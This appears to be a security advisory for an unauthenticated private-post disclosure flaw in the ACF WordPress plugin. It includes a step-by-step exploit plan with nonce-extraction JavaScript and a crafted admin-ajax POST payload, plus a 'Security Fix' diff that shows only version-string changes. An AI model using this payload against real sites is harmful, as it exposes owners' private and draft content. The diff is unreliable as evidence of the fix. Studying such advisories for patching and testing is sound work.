Advanced Custom Fields (ACF®) <= 6.7.0 - Unauthenticated Missing Authorization to Arbitrary Post/Page Disclosure via AJAX Field Query Parameters
Description
The Advanced Custom Fields (ACF) plugin for WordPress is vulnerable to Missing Authorization to Arbitrary Post/Page Disclosure in versions up to and including 6.7.0. This is due to AJAX field query endpoints accepting user-supplied filter parameters that override field-configured restrictions without proper authorization checks. This makes it possible for unauthenticated attackers with access to a frontend ACF form to enumerate and disclose information about draft/private posts, restricted post types, and other data that should be restricted by field configuration.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=6.7.0What Changed in the Fix
Changes introduced in v6.7.1
Source Code
WordPress.org SVN# Research Plan: ACF Unauthenticated Private Post Disclosure (CVE-2026-4812) ## 1. Vulnerability Summary The Advanced Custom Fields (ACF) plugin (<= 6.7.0) contains a missing authorization vulnerability in its AJAX field query endpoints. These endpoints (primarily `acf/ajax/query`) are designed to …
Show full research plan
Research Plan: ACF Unauthenticated Private Post Disclosure (CVE-2026-4812)
1. Vulnerability Summary
The Advanced Custom Fields (ACF) plugin (<= 6.7.0) contains a missing authorization vulnerability in its AJAX field query endpoints. These endpoints (primarily acf/ajax/query) are designed to facilitate searching for posts, terms, or users within ACF fields like Relationship, Post Object, or User.
The vulnerability exists because the AJAX handler accepts filter parameters (such as post_status, post_type, or taxonomy) directly from the $_POST request and uses them to override the predefined restrictions configured for the specific ACF field. Because these endpoints can be accessed by unauthenticated users if an ACF form is displayed on the frontend, an attacker can manipulate these parameters to query and disclose information about draft posts, private posts, or restricted post types that the field settings would normally forbid.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
acf/ajax/query(This is the primary unified AJAX endpoint for field queries in ACF 6.x). - Vulnerable Parameters:
post_status,post_type,taxonomy. - Authentication: Unauthenticated (if the site has a frontend
acf_form()or a public-facing ACF field). - Preconditions:
- An ACF Field Group must exist containing a field type that uses AJAX search (e.g., Post Object or Relationship).
- The field must be rendered on a frontend page accessible to the attacker (usually via
acf_form()or the[acf_form]shortcode).
3. Code Flow
- Frontend Initiation: A user visits a page containing an ACF field with
ajax: 1enabled (default for Relationship/Post Object). - AJAX Request: When the user types in the search box, the ACF JavaScript sends a POST request to
admin-ajax.php?action=acf/ajax/query. - Nonce Verification: The handler checks
check_ajax_referer('acf_nonce', 'nonce'). - Field Loading: The server-side logic calls
acf_get_field( $_POST['field_key'] )(found inincludes/acf-field-functions.php) to retrieve the configured restrictions. - Parameter Merging (The Sink): The handler prepares arguments for
WP_Query. It takes the restrictions from the$fieldarray (e.g.,$field['post_status'] = 'publish') but merges them with values provided in$_POST. - Vulnerability: Since there is no authorization check to see if the current user is allowed to override these filters, providing
post_status=privatein the POST request overrides the field's hardcoded requirement forpublish, allowingWP_Queryto return private data.
4. Nonce Acquisition Strategy
ACF localizes its configuration and nonces into a global JavaScript object named acf.
- Setup: Create a public page containing an
acf_form. - Navigation: Use
browser_navigateto visit the page. - Extraction: Use
browser_evalto extract the unified ACF nonce and the specific field key needed for the query.
JavaScript to execute:
// Get the unified ACF nonce
const nonce = acf.get('nonce');
// Get the field key from the first Post Object or Relationship field on the page
const fieldKey = jQuery('.acf-field[data-type="post_object"], .acf-field[data-type="relationship"]').first().data('key');
return { nonce, fieldKey };
5. Exploitation Strategy
Step 1: Discover Field Key and Nonce
Navigate to the page where the ACF form is rendered and run the extraction script above.
Step 2: Perform Unauthorized Query
Send an unauthenticated POST request to admin-ajax.php using the http_request tool.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=acf/ajax/query &nonce=[EXTRACTED_NONCE] &field_key=[EXTRACTED_FIELD_KEY] &s=[SEARCH_TERM] &post_status=private,draft,trash,any
Step 3: Parse Results
The response will be a JSON object containing a results array. If the exploit is successful, this array will contain the titles and IDs of private/draft posts that match the search term s.
6. Test Data Setup
To verify the vulnerability, the following environment must be prepared:
- Target Content:
- Create a post with
post_statusset toprivatetitled "SECRET_DATA_EXPOSED". - Create a post with
post_statusset todrafttitled "CONFIDENTIAL_DRAFT".
- Create a post with
- ACF Configuration:
- Create a Field Group.
- Add a Post Object field (Label: "Search Posts", Name: "search_posts").
- Configure the field settings:
Filter by Post Status=Published(this is the restriction we will bypass). - Set the Field Group location to
Page == All.
- Frontend Display:
- Register a simple shortcode in
functions.phpto render the ACF form:add_shortcode('test_acf_form', function() { acf_form_head(); acf_form(['post_id' => 'new_post', 'field_groups' => [ [GROUP_ID] ]]); }); - Create a public page with the content
[test_acf_form].
- Register a simple shortcode in
7. Expected Results
- Unpatched Version (<= 6.7.0): The AJAX response returns the private and draft posts in the
resultslist. - Patched Version (6.7.1): The server ignores the
post_statusparameter in thePOSTbody if it exceeds the field's configuration, or it returns an error/empty results if the user lacks theread_private_postscapability.
8. Verification Steps
After the HTTP exploit attempt, verify the results:
- Check the HTTP response status (should be 200).
- Check the JSON body for the string
SECRET_DATA_EXPOSED. - Use WP-CLI to confirm the post is indeed private:
wp post list --post_status=private --fields=post_title,ID
9. Alternative Approaches
If acf/ajax/query is not the active endpoint (depending on specific Pro features or legacy settings), check for:
action=acf/fields/post_object/queryaction=acf/fields/relationship/query
These follow the same logic: they check a nonce and then process query arguments. The payload remains the same: inject post_status or post_type into the POST body to override field-level restrictions.
Summary
Advanced Custom Fields (ACF) versions up to 6.7.0 are vulnerable to unauthenticated information disclosure via AJAX field query endpoints. Attackers can manipulate request parameters to override field-level search restrictions, allowing them to enumerate and view titles/IDs of private or draft posts.
Security Fix
@@ -9,7 +9,7 @@ * Plugin Name: Advanced Custom Fields * Plugin URI: https://www.advancedcustomfields.com * Description: Customize WordPress with powerful, professional and intuitive fields. - * Version: 6.7.0 + * Version: 6.7.1 * Author: WP Engine * Author URI: https://wpengine.com/?utm_source=wordpress.org&utm_medium=referral&utm_campaign=plugin_directory&utm_content=advanced_custom_fields * Text Domain: acf @@ -22,7 +22,7 @@ * @package ACF * @author WP Engine * - * © 2025 Advanced Custom Fields (ACF®). All rights reserved. + * © 2026 Advanced Custom Fields (ACF®). All rights reserved. * "ACF" is a trademark of WP Engine. * Licensed under the GNU General Public License v2 or later. * https://www.gnu.org/licenses/gpl-2.0.html @@ -44,7 +44,7 @@ * * @var string */ - public $version = '6.7.0'; + public $version = '6.7.1';
Exploit Outline
The exploit targets the acf/ajax/query endpoint by abusing the lack of authorization checks on search filters. 1. **Discovery**: Navigate to a public page containing an ACF form (Post Object or Relationship field) and extract the unified 'acf_nonce' from the global JavaScript 'acf' object and the target field's key from its 'data-key' attribute. 2. **Request Construction**: Send an unauthenticated POST request to `/wp-admin/admin-ajax.php?action=acf/ajax/query`. 3. **Payload**: Include the extracted nonce and field key, a search term 's', and a manipulated 'post_status' parameter set to 'private,draft,trash,any'. 4. **Information Disclosure**: The server merges these unauthenticated parameters into the WP_Query arguments, overriding the field's configuration and returning sensitive post titles and IDs in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.